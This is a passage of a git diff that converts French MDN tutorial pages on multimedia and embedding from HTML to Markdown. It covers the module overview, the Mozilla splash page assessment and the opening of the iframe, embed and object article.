images vectorielles peuvent être très utiles dans certaines situations. Contrairement aux formats classiques comme le PNG/JPG, elles ne se déforment pas lorsqu'on les agrandit et peuvent rester lisses lorsqu'on les met à l'échelle. Cet article vous présente ce que sont les images vectorielles et comment inclure le populaire format {{glossary("SVG")}} dans les pages web. +- [Images adaptatives](/fr/docs/Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_à_une_page_web) + - : Dans cet article, nous allons découvrir le concept d'images adaptatives — des images qui fonctionnent bien sur des appareils dont les tailles d'écran, les résolutions et autres caractéristiques sont très différentes — et examiner les outils fournis par HTML pour aider à les mettre en œuvre. Cela permet d'améliorer les performances des différents appareils. Les images adaptatives ne sont qu'une partie du [responsive design](/fr/docs/Apprendre/CSS/CSS_layout/Responsive_Design), un futur sujet CSS que vous pourrez apprendre. -<h2 id="Évaluations">Évaluations</h2> +## Évaluations -<p>Les évaluations qui suivent sont là pour tester votre compréhension des bases du HTML traitées dans les guides ci-dessus.</p> +Les évaluations qui suivent sont là pour tester votre compréhension des bases du HTML traitées dans les guides ci-dessus. -<dl> - <dt><a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Mozilla_splash_page">Évaluation : page d'accueil Mozilla</a></dt> - <dd>Cette évaluation concernera vos connaissances de quelques unes des techniques traitées dans les articles de ce module, vous amenant à ajouter des images et vidéos à une page de garde « funky » développant les atouts de Mozilla !</dd> -</dl> +- [Évaluation : page d'accueil Mozilla](/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Mozilla_splash_page) + - : Cette évaluation concernera vos connaissances de quelques unes des techniques traitées dans les articles de ce module, vous amenant à ajouter des images et vidéos à une page de garde « funky » développant les atouts de Mozilla ! -<h2 id="À_voir_aussi">À voir aussi</h2> +## À voir aussi -<dl> - <dt><a href="/fr/docs/Apprendre/HTML/Comment/Ajouter_carte_zones_cliquables_sur_image">Intégrer une carte interactive en haut d'une image</a></dt> - <dd>Une représentation cartographique fournit un mécanisme qui lie différents secteurs d'une image à différents endroits. Pensez à une carte qui fournirait des informations plus approfondies sur chaque pays sur lequel vous cliquez. Cette technique peut parfois être d'une grande utilité.</dd> - <dt><a href="https://teach.mozilla.org/activities/web-lit-basics-two/">Web Principes fondamentaux 2</a></dt> - <dd> - <p>Un excellent cours de Mozilla qui explore et teste les compétences développées dans le module : <em>Multimedia et intégration</em>. Approfondissez les fondamentaux de la composition de pages web, concevez des outils pour l'accessibilité, le partage de ressources, découvrez l'utilisation de supports en ligne et la mutualisation du travail (ce qui signifie que votre travail est librement disponible et partagé avec d'autres). </p> - </dd> -</dl> +- [Intégrer une carte interactive en haut d'une image](/fr/docs/Apprendre/HTML/Comment/Ajouter_carte_zones_cliquables_sur_image) + - : Une représentation cartographique fournit un mécanisme qui lie différents secteurs d'une image à différents endroits. Pensez à une carte qui fournirait des informations plus approfondies sur chaque pays sur lequel vous cliquez. Cette technique peut parfois être d'une grande utilité. +- [Web Principes fondamentaux 2](https://teach.mozilla.org/activities/web-lit-basics-two/) + - : Un excellent cours de Mozilla qui explore et teste les compétences développées dans le module : *Multimedia et intégration*. Approfondissez les fondamentaux de la composition de pages web, concevez des outils pour l'accessibilité, le partage de ressources, découvrez l'utilisation de supports en ligne et la mutualisation du travail (ce qui signifie que votre travail est librement disponible et partagé avec d'autres). diff --git a/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.md b/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.md index 37cd4e8230..03ce70e743 100644 --- a/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.md @@ -4,108 +4,104 @@ slug: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page translation_of: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page original_slug: Apprendre/HTML/Multimedia_and_embedding/Mozilla_splash_page --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}} -<div>{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</div> - -<p>Dans cette partie, nous testerons vos connaissances des quelques techniques abordées dans les articles de ce module, en vous demandant d'ajouter des images et des vidéos à une super page d'accueil entièrement dédiée à Mozilla !</p> +Dans cette partie, nous testerons vos connaissances des quelques techniques abordées dans les articles de ce module, en vous demandant d'ajouter des images et des vidéos à une super page d'accueil entièrement dédiée à Mozilla ! <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Avant de vous attaquer à cette étude, vous devriez avoir déjà travaillé sur les paragraphes précédents composant le module <a href="/fr/Apprendre/HTML/Multimedia_and_embedding">Multimedia et Intégration</a>.</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Tester vos connaissances sur l'intégration d'images et vidéos dans des pages web ainsi que des techniques d'images adaptatives (images "responsive").</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Avant de vous attaquer à cette étude, vous devriez avoir déjà travaillé + sur les paragraphes précédents composant le module + <a href="/fr/Apprendre/HTML/Multimedia_and_embedding" + >Multimedia et Intégration</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Tester vos connaissances sur l'intégration d'images et vidéos dans des + pages web ainsi que des techniques d'images adaptatives (images + "responsive"). + </td> + </tr> + </tbody> </table> -<h2 id="Point_de_départ">Point de départ</h2> +## Point de départ -<p>Pour démarrer cette étude, vous devez aller chercher toutes les images et l'HTML disponibles dans le répertoire <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/">mdn-splash-page-start</a> sur github. Mettez le contenu du fichier <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/index.html">index.html</a> dans un fichier appelé <code>index.html</code> sur votre disque dur local, dans un nouveau répertoire. Puis copiez <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/pattern.png">pattern.png</a> dans le même dossier (clic droit sur l'image pour le menu des options).</p> +Pour démarrer cette étude, vous devez aller chercher toutes les images et l'HTML disponibles dans le répertoire [mdn-splash-page-start](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/) sur github. Mettez le contenu du fichier [index.html](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/index.html) dans un fichier appelé `index.html` sur votre disque dur local, dans un nouveau répertoire. Puis copiez [pattern.png](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/pattern.png) dans le même dossier (clic droit sur l'image pour le menu des options). -<p>Allez dans le répertoire <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start/originals">originals</a> chercher les différentes images et faites la même chose; vous aurez peut-être à les enregistrer dans un nouveau dossier pour l'instant, au cas où vous auriez besoin d'en manipuler certaines en utilisant un éditeur graphique avant de pouvoir les utiliser.</p> +Allez dans le répertoire [originals](https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start/originals) chercher les différentes images et faites la même chose; vous aurez peut-être à les enregistrer dans un nouveau dossier pour l'instant, au cas où vous auriez besoin d'en manipuler certaines en utilisant un éditeur graphique avant de pouvoir les utiliser. -<div class="note"> -<p><strong>Note :</strong> le fichier HTML en exemple contient un bon nombre de CSS, pour styliser la page. Vous n'avez pas besoin de modifier le CSS, juste l'HTML dans l'élément {{htmlelement("body")}} — tant que vous insérez les bonnes balises, le style sera cohérent.</p> -</div> +> **Note :** le fichier HTML en exemple contient un bon nombre de CSS, pour styliser la page. Vous n'avez pas besoin de modifier le CSS, juste l'HTML dans l'élément {{htmlelement("body")}} — tant que vous insérez les bonnes balises, le style sera cohérent. -<h2 id="Énoncé_du_projet">Énoncé du projet</h2> +## Énoncé du projet -<p>Dans cette étude, nous vous présentons une page d'accueil Mozilla quasiment finie, qui a pour but de définir, en des termes agréables et intéressants, les objectifs de Mozilla et de fournir des liens vers des ressources supplémentaires. Malheureusement, aucune image ni vidéo n'a été ajoutée pour l'instant — c'est votre boulot ! Vous devez ajouter des choses qui donnent du sens à la page et la rendent belle. Les sous-sections suivantes détaillent ce que vous aurez besoin de faire :</p> +Dans cette étude, nous vous présentons une page d'accueil Mozilla quasiment finie, qui a pour but de définir, en des termes agréables et intéressants, les objectifs de Mozilla et de fournir des liens vers des ressources supplémentaires. Malheureusement, aucune image ni vidéo n'a été ajoutée pour l'instant — c'est votre boulot ! Vous devez ajouter des choses qui donnent du sens à la page et la rendent belle. Les sous-sections suivantes détaillent ce que vous aurez besoin de faire : -<h3 id="Préparer_les_images">Préparer les images</h3> +### Préparer les images -<p>Avec votre éditeur d'images favori, créez des versions de 400 et 120 px de large de :</p> +Avec votre éditeur d'images favori, créez des versions de 400 et 120 px de large de : -<ul> - <li><code>firefox_logo-only_RGB.png</code></li> - <li><code>firefox-addons.jpg</code></li> - <li><code>mozilla-dinosaur-head.png</code></li> -</ul> +- `firefox_logo-only_RGB.png` +- `firefox-addons.jpg` +- `mozilla-dinosaur-head.png` -<p>Donnez-leur des noms similaires comme : <code>firefoxlogo400.png</code> et <code>firefoxlogo120.png</code>.</p> +Donnez-leur des noms similaires comme : `firefoxlogo400.png` et `firefoxlogo120.png`. -<p>Continuons avec <code>mdn.svg</code>, ces images seront vos icônes pour lier aux ressources externes, contenues dans l'espace<code>further-info</code>. Vous ferez aussi un lien vers le logo firefox dans l'en-tête du site. Réservez toutes ces copies dans le même dossier que l'<code>index.html</code>.</p> +Continuons avec `mdn.svg`, ces images seront vos icônes pour lier aux ressources externes, contenues dans l'espace`further-info`. Vous ferez aussi un lien vers le logo firefox dans l'en-tête du site. Réservez toutes ces copies dans le même dossier que l'`index.html`. -<p>Puis, créez une version paysage de 1200px de large de <code>red-panda.jpg</code>, et une version portrait de 600px de large qui montre le panda en gros plan. Encore une fois, nommez-les de manière similaire pour les identifier facilement. Réservez toutes ces copies dans le même dossier que l'<code>index.html</code>.</p> +Puis, créez une version paysage de 1200px de large de `red-panda.jpg`, et une version portrait de 600px de large qui montre le panda en gros plan. Encore une fois, nommez-les de manière similaire pour les identifier facilement. Réservez toutes ces copies dans le même dossier que l'`index.html`. -<div class="note"> -<p><strong>Note :</strong> Vous devriez optimiser vos images JPG et PNG pour les rendre le plus petit possible tout en restant de bonne qualité. <a href="https://tinypng.com/">tinypng.com</a> est une bonne aide pour faire ça aisément.</p> -</div> +> **Note :** Vous devriez optimiser vos images JPG et PNG pour les rendre le plus petit possible tout en restant de bonne qualité. [tinypng.com](https://tinypng.com/) est une bonne aide pour faire ça aisément. -<h3 id="Ajouter_un_logo_à_l'en-tête">Ajouter un logo à l'en-tête</h3> +### Ajouter un logo à l'en-tête -<p>A l'intèrieur de l'élément {{htmlelement("header")}} , ajoutez un élément {{htmlelement("img")}} qui intégrera une petite version du logo firefox dans l'en-tête.</p> +A l'intèrieur de l'élément {{htmlelement("header")}} , ajoutez un élément {{htmlelement("img")}} qui intégrera une petite version du logo firefox dans l'en-tête. -<h3 id="Ajouter_une_vidéo_dans_le_contenu_principal_de_l'article">Ajouter une vidéo dans le contenu principal de l'article</h3> +### Ajouter une vidéo dans le contenu principal de l'article -<p>Dans l'élément {{htmlelement("article")}} (juste en-dessous de la balise d'ouverture), intégrez la vidéo YouTube trouvée ici : <a href="https://www.youtube.com/watch?v=ojcNcvb1olg">https://www.youtube.com/watch?v=ojcNcvb1olg</a>, en utilisant les outils YouTube appropriés pour générer le code. La vidéo devra faire 400px de large.</p> +Dans l'élément {{htmlelement("article")}} (juste en-dessous de la balise d'ouverture), intégrez la vidéo YouTube trouvée ici : <https://www.youtube.com/watch?v=ojcNcvb1olg>, en utilisant les outils YouTube appropriés pour générer le code. La vidéo devra faire 400px de large. -<h3 id="Ajouter_des_images_adaptatives_aux_liens_vers_les_ressources_externes">Ajouter des images adaptatives aux liens vers les ressources externes</h3> +### Ajouter des images adaptatives aux liens vers les ressources externes -<p>Dans l'élément {{htmlelement("div")}} de la catégorie <code>further-info</code> vous trouverez quatre autres éléments {{htmlelement("a")}} — chacun d'eux liant vers une page intéressante traitant de Mozilla. Pour compléter cette section, vous devrez insérer un élément {{htmlelement("img")}} dans ceux contenant les attributs {{htmlattrxref("src", "img")}}, {{htmlattrxref("alt", "img")}}, {{htmlattrxref("srcset", "img")}} et {{htmlattrxref("sizes", "img")}} adéquats.</p> +Dans l'élément {{htmlelement("div")}} de la catégorie `further-info` vous trouverez quatre autres éléments {{htmlelement("a")}} — chacun d'eux liant vers une page intéressante traitant de Mozilla. Pour compléter cette section, vous devrez insérer un élément {{htmlelement("img")}} dans ceux contenant les attributs {{htmlattrxref("src", "img")}}, {{htmlattrxref("alt", "img")}}, {{htmlattrxref("srcset", "img")}} et {{htmlattrxref("sizes", "img")}} adéquats. -<p>Dans tous les cas (sauf un — lequel serait naturellement adaptatif ?) nous voulons que le navigateur desserve la version 120px de large quand la largeur du cadre est de 480px ou moins, ou la version 400px de large dans les autres cas.</p> +Dans tous les cas (sauf un — lequel serait naturellement adaptatif ?) nous voulons que le navigateur desserve la version 120px de large quand la largeur du cadre est de 480px ou moins, ou la version 400px de large dans les autres cas. -<p>Assurez-vous de faire correspondre les bonnes images avec les liens corrects !</p> +Assurez-vous de faire correspondre les bonnes images avec les liens corrects ! -<div class="note"> -<p><strong>Note :</strong> Pour tester correctement les exemples <code>srcset</code>/<code>sizes</code>, vous devez charger votre site sur un serveur (utiliser <a href="/fr/docs/Learn/Common_questions/Using_Github_pages">Github pages</a> est une solution simple et gratuite), ensuite vous pouvez tester si tout se déroule correctement en utilisant des outils de développeur, comme expliqué dans <a href="/fr/Learn/HTML/Multimedia_and_embedding/Responsive_images#Useful_developer_tools">Responsive images: useful developer tools</a>.</p> -</div> +> **Note :** Pour tester correctement les exemples `srcset`/`sizes`, vous devez charger votre site sur un serveur (utiliser [Github pages](/fr/docs/Learn/Common_questions/Using_Github_pages) est une solution simple et gratuite), ensuite vous pouvez tester si tout se déroule correctement en utilisant des outils de développeur, comme expliqué dans [Responsive images: useful developer tools](/fr/Learn/HTML/Multimedia_and_embedding/Responsive_images#Useful_developer_tools). -<h3 id="Un_panda_rouge_créatif">Un panda rouge créatif</h3> +### Un panda rouge créatif -<p>Dans l'élément {{htmlelement("div")}} de la catégorie r<code>ed-panda</code>, nous voulons insérer un élément {{htmlelement("picture")}} qui affiche le petit portrait du panda si le cadre est de 600px de large, ou moins, et le paysage dans les autres cas.</p> +Dans l'élément {{htmlelement("div")}} de la catégorie r`ed-panda`, nous voulons insérer un élément {{htmlelement("picture")}} qui affiche le petit portrait du panda si le cadre est de 600px de large, ou moins, et le paysage dans les autres cas. -<h2 id="Exemple">Exemple</h2> +## Exemple -<p>La capture d'écran suivante montre à quoi devrait ressembler la page d'accueil aprés avoir été correctement balisée, avec un affichage large et un étroit.</p> +La capture d'écran suivante montre à quoi devrait ressembler la page d'accueil aprés avoir été correctement balisée, avec un affichage large et un étroit. -<p><img alt="A wide shot of our example splash page" src="wide-shot.png"></p> + -<p><img alt="A narrow shot of our example splash page" src="narrow-shot.png"></p> + -<h2 id="Évaluation">Évaluation</h2> +## Évaluation -<p>Si vous suivez cette étude en faisant partie d'un programme de cours organisé, vous devriez pouvoir montrer votre travail à votre professeur/mentor pour une correction. Si vous apprenez seul, alors vous pourrez obtenir des informations et des corrections en demandant sur le <a href="https://discourse.mozilla.org/t/mozilla-splash-page-assignment/24679">fil de discussion concernant cet exercice</a>, ou sur le canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Essayez de faire l'exercice d'abord — On ne gagne rien en trichant !</p> +Si vous suivez cette étude en faisant partie d'un programme de cours organisé, vous devriez pouvoir montrer votre travail à votre professeur/mentor pour une correction. Si vous apprenez seul, alors vous pourrez obtenir des informations et des corrections en demandant sur le [fil de discussion concernant cet exercice](https://discourse.mozilla.org/t/mozilla-splash-page-assignment/24679), ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez de faire l'exercice d'abord — On ne gagne rien en trichant ! -<p>{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</p> +{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}} -<p> </p> -<h2 id="Dans_ce_module">Dans ce module :</h2> -<ul> - <li><a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML">Les images en HTML</a></li> - <li><a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video">Contenu audio et video</a></li> - <li><a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Other_embedding_technologies">Des objets aux "iframes" - autres techniques d'intégration</a></li> - <li><a href="/fr/Apprendre/HTML/Comment/Ajouter_des_images_vectorielles_%C3%A0_une_page_web">Ajouter des images vectorielles à une page web</a></li> - <li><a href="/fr/Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_%C3%A0_une_page_web">Images adaptatives</a></li> - <li><a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Mozilla_splash_page">Évaluation : page d'accueil Mozilla</a></li> -</ul> +## Dans ce module : -<p> </p> +- [Les images en HTML](/fr/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML) +- [Contenu audio et video](/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video) +- [Des objets aux "iframes" - autres techniques d'intégration](/fr/Apprendre/HTML/Multimedia_and_embedding/Other_embedding_technologies) +- [Ajouter des images vectorielles à une page web](/fr/Apprendre/HTML/Comment/Ajouter_des_images_vectorielles_%C3%A0_une_page_web) +- [Images adaptatives](/fr/Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_%C3%A0_une_page_web) +- [Évaluation : page d'accueil Mozilla](/fr/Apprendre/HTML/Multimedia_and_embedding/Mozilla_splash_page) diff --git a/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md b/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md index c840ee2f9e..f8fd114421 100644 --- a/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.md @@ -17,79 +17,94 @@ tags: translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies original_slug: Apprendre/HTML/Multimedia_and_embedding/Other_embedding_technologies --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}} -<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}</div> - -<p>Maintenant, vous devriez vraiment avoir la main pour intégrer des choses dans les pages Web, y compris images, vidéos et audios. Donc, à ce stade, nous aimerions franchir en quelque sorte une étape similaire, en examinant certains éléments qui permettent d'intégrer une grande variété de types de contenu dans des pages Web : les éléments {{htmlelement("iframe")}}, {{htmlelement("embed")}} et {{htmlelement("object")}}. Les <code><iframe></code> servent à intégrer d'autres pages Web, et les deux autres des PDF, SVG et même des Flash — une technique en voie de disparition, mais que vous rencontrerez encore assez régulièrement.</p> +Maintenant, vous devriez vraiment avoir la main pour intégrer des choses dans les pages Web, y compris images, vidéos et audios. Donc, à ce stade, nous aimerions franchir en quelque sorte une étape similaire, en examinant certains éléments qui permettent d'intégrer une grande variété de types de contenu dans des pages Web : les éléments {{htmlelement("iframe")}}, {{htmlelement("embed")}} et {{htmlelement("object")}}. Les `<iframe>` servent à intégrer d'autres pages Web, et les deux autres des PDF, SVG et même des Flash — une technique en voie de disparition, mais que vous rencontrerez encore assez régulièrement. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Compétences informatiques de base, <a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">installation des outils de base</a>, bases de la <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers">manipulation des fichiers</a>, connaissance des fondamentaux du HTML (comme expliqué dans <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started">Commencer avec le HTML)</a> et articles précédents de ce module.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre comment incorporer des éléments, tels que d'autres pages ou des clips Flash, dans des pages Web à l'aide de {{htmlelement("object")}}, {{htmlelement("embed")}}, et {{htmlelement("iframe")}}.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Compétences informatiques de base, + <a + href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" + >installation des outils de base</a + >, bases de la + <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers" + >manipulation des fichiers</a + >, connaissance des fondamentaux du HTML (comme expliqué dans + <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" + >Commencer avec le HTML)</a + > + et articles précédents de ce module. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre comment incorporer des éléments, tels que d'autres pages ou + des clips Flash, dans des pages Web à l'aide de + {{htmlelement("object")}}, {{htmlelement("embed")}}, et + {{htmlelement("iframe")}}. + </td> + </tr> + </tbody> </table> -<h2 id="Une_courte_histoire_de_l'intégration">Une courte histoire de l'intégration</h2> +## Une courte histoire de l'intégration + +Il y a longtemps, sur le Web, il était courant d'utiliser des **cadres** pour créer des sites Web - des petites parties de site Web stockées dans des pages HTML individuelles. Ces cadres étaient intégrés dans un document maître appelé **frameset** (ensemble de cadres) qui permettait de préciser la zone de l'écran que chaque cadre devait occuper, un peu comme le dimensionnement de colonnes et de lignes dans un tableau. Cette technique a été considérée comme le summum de la zénitude du milieu des années 90 jusqu'à leur fin. Il était évident qu'une page Web éclatée en petits morceaux était meilleure pour la vitesse du téléchargement — et tout à fait remarquable avec des connexions réseau si lentes à l'époque. Cette façon de procéder posait cependant de nombreux problèmes, qui l'emportaient de loin sur tout ce qui était positif à mesure que la vitesse du réseau s'accélérait, de sorte que vous ne la verrez plus utilisée. -<p>Il y a longtemps, sur le Web, il était courant d'utiliser des <strong>cadres</strong> pour créer des sites Web - des petites parties de site Web stockées dans des pages HTML individuelles. Ces cadres étaient intégrés dans un document maître appelé <strong>frameset</strong> (ensemble de cadres) qui permettait de préciser la zone de l'écran que chaque cadre devait occuper, un peu comme le dimensionnement de colonnes et de lignes dans un tableau. Cette technique a été considérée comme le summum de la zénitude du milieu des années 90 jusqu'à leur fin. Il était évident qu'une page Web éclatée en petits morceaux était meilleure pour la vitesse du téléchargement — et tout à fait remarquable avec des connexions réseau si lentes à l'époque. Cette façon de procéder posait cependant de nombreux problèmes, qui l'emportaient de loin sur tout ce qui était positif à mesure que la vitesse du réseau s'accélérait, de sorte que vous ne la verrez plus utilisée.</p> -<p> </p> -<p>Un peu plus tard (fin des années 90, début des années 2000), la technique des greffons est devenue très populaire, citons les <a href="/fr/docs/Glossary/Java">applets Java</a> et <a href="/fr/docs/Glossary/Adobe_Flash">Flash</a> — ils permettaient aux développeurs web d'intégrer du contenu riche dans des pages web telles que des vidéos et des animations, ce qui n'était tout simplement pas possible avec le HTML. L'intégration de ces techniques a été réalisée grâce à des éléments comme {{htmlelement("object")}} et {{htmlelement("embed")}}, un peu moins utilisé. Ils étaient très utiles à l'époque. Ils sont depuis tombés en désuétude en raison de nombreux problèmes : accessibilité, sécurité, taille de fichier et autres ; de nos jours, la plupart des mobiles ne prennent plus en charge de tels greffons, et les ordinateurs de bureau sont en train de les abandonner.</p> +Un peu plus tard (fin des années 90, début des années 2000), la technique des greffons est devenue très populaire, citons les [applets Java](/fr/docs/Glossary/Java) et [Flash](/fr/docs/Glossary/Adobe_Flash) — ils permettaient aux développeurs web d'intégrer du contenu riche dans des pages web telles que des vidéos et des animations, ce qui n'était tout simplement pas possible avec le HTML. L'intégration de ces techniques a été réalisée grâce à des éléments comme {{htmlelement("object")}} et {{htmlelement("embed")}}, un peu moins utilisé. Ils étaient très utiles à l'époque. Ils sont depuis tombés en désuétude en raison de nombreux problèmes : accessibilité, sécurité, taille de fichier et autres ; de nos jours, la plupart des mobiles ne prennent plus en charge de tels greffons, et les ordinateurs de bureau sont en train de les abandonner. -<p>Enfin, l'élément {{htmlelement("iframe")}} est apparu (avec d'autres moyens d'intégration de contenu, comme {{htmlelement("canvas")}}, {{htmlelement("video")}}, etc). Cet élément permet d'intégrer un document web entier dans un autre, comme s'il s'agissait d'un élément {{htmlelement("img")}}} ou d'un autre élément de ce type. Il est régulièrement utilisé aujourd'hui.</p> +Enfin, l'élément {{htmlelement("iframe")}} est apparu (avec d'autres moyens d'intégration de contenu, comme {{htmlelement("canvas")}}, {{htmlelement("video")}}, etc). Cet élément permet d'intégrer un document web entier dans un autre, comme s'il s'agissait d'un élément {{htmlelement("img")}}} ou d'un autre élément de ce type. Il est régulièrement utilisé aujourd'hui. -<p>Maintenant que la leçon d'histoire est terminée, passons à autre chose et voyons comment utiliser certains d'entre eux.</p> +Maintenant que la leçon d'histoire est terminée, passons à autre chose et voyons comment utiliser certains d'entre eux. -<p> </p> -<h2 id="Apprentissage_actif_utilisations_classiques_de_l'intégration">Apprentissage actif : utilisations classiques de l'intégration</h2> -<p>Dans cet article, passons directement à l'apprentissage actif pour vous donner tout de suite une idée concrète de l'utilité des techniques d'intégration. Le monde en ligne connaît très bien <a href="https://www.youtube.com/">Youtube</a>, mais beaucoup de gens ne connaissent pas les facilités de partage dont il dispose. Voyons comment Youtube nous permet d'intégrer une vidéo dans toute page qui nous plairait à l'aide d'un élément {{htmlelement("iframe")}}}.</p> +## Apprentissage actif : utilisations classiques de l'intégration -<ol> - <li>D'abord, allez sur Youtube et choisissez une vidéo qui vous plaise.</li> - <li>Au‑dessous de la vidéo, vous devez trouver un bouton <em>Share (Partager)</em> — cliquez‑le pour afficher les options de partage.</li> - <li>Sélectionnez le bouton <em>Embed (Intégrer)</em> et vous obtiendrez un morceau de code <code><iframe></code> — copiez‑le.</li> - <li>Inserez ce code dans la boîte <em>Input</em> ci‑dessous, et voyez le résultat dans <em>Output</em>.</li> -</ol> +Dans cet article, passons directement à l'apprentissage actif pour vous donner tout de suite une idée concrète de l'utilité des techniques d'intégration. Le monde en ligne connaît très bien [Youtube](https://www.youtube.com/), mais beaucoup de gens ne connaissent pas les facilités de partage dont il dispose. Voyons comment Youtube nous permet d'intégrer une vidéo dans toute page qui nous plairait à l'aide d'un élément {{htmlelement("iframe")}}}. -<p>En prime, vous pouvez aussi essayer d'intégrer une carte <a href="https://www.google.com/maps/">Google Map</a> dans l'exemple.</p> +1. D'abord, allez sur Youtube et choisissez une vidéo qui vous plaise. +2. Au‑dessous de la vidéo, vous devez trouver un bouton _Share (Partager)_ — cliquez‑le pour afficher les options de partage. +3. Sélectionnez le bouton _Embed (Intégrer)_ et vous obtiendrez un morceau de code `<iframe>` — copiez‑le. +4. Inserez ce code dans la boîte _Input_ ci‑dessous, et voyez le résultat dans _Output_. -<ol> - <li>Allez sur Google Maps et trouvez une carte qui vous plaise.</li> - <li>Cliquez sur le « Menu Hamburger » (trois lignes horizontales) en haut à gauche de l'interface utilisateur.</li> - <li>Selectionnez l'option <em>Share or embed map</em> (Partager ou intégrer une carte).</li> - <li>Selectionnez l'option <em>Embed map</em> (intégrer une carte), qui vous fournira du code <code><iframe></code> — copiez‑le.</li> - <li>Inserez‑le dans la boîte <em>Input</em> di‑dessous et voyez le résultat dans <em>Output</em>.</li> -</ol> +En prime, vous pouvez aussi essayer d'intégrer une carte [Google Map](https://www.google.com/maps/) dans l'exemple. -<p>Si vous faites une erreur, vous pouvez toujours réinitialiser le tout avec le bouton <em>Réinitialiser</em>. Si vous êtes vraiment bloqué, pressez le bouton <em>Afficher la solution</em> pour voir la réponse.</p> +1. Allez sur Google Maps et trouvez une carte qui vous plaise. +2. Cliquez sur le « Menu Hamburger » (trois lignes horizontales) en haut à gauche de l'interface utilisateur. +3. Selectionnez l'option _Share or embed map_ (Partager ou intégrer une carte). +4. Selectionnez l'option _Embed map_ (intégrer une carte), qui vous fournira du code `<iframe>` — copiez‑le. +5. Inserez‑le dans la boîte _Input_ di‑dessous et voyez le résultat dans _Output_. -<pre class="brush: html hidden"><h2>Sortie directe</h2> +Si vous faites une erreur, vous pouvez toujours réinitialiser le tout avec le bouton _Réinitialiser_. Si vous êtes vraiment bloqué, pressez le bouton _Afficher la solution_ pour voir la réponse. -<div class="output" style="min-height: 250px;"> -</div> +```html hidden +<h2>Sortie directe</h2> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insère une tabulation).</p> +<div class="output" style="min-height: 250px;"> +</div> -<textarea id="code" class="input" style="width: 95%;min-height: 100px;"> -</textarea> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insère une tabulation).</p> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Afficher la solution"> -</div></pre> +<textarea id="code" class="input" style="width: 95%;min-height: 100px;"> +</textarea> -<pre class="brush: css hidden">html { +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" 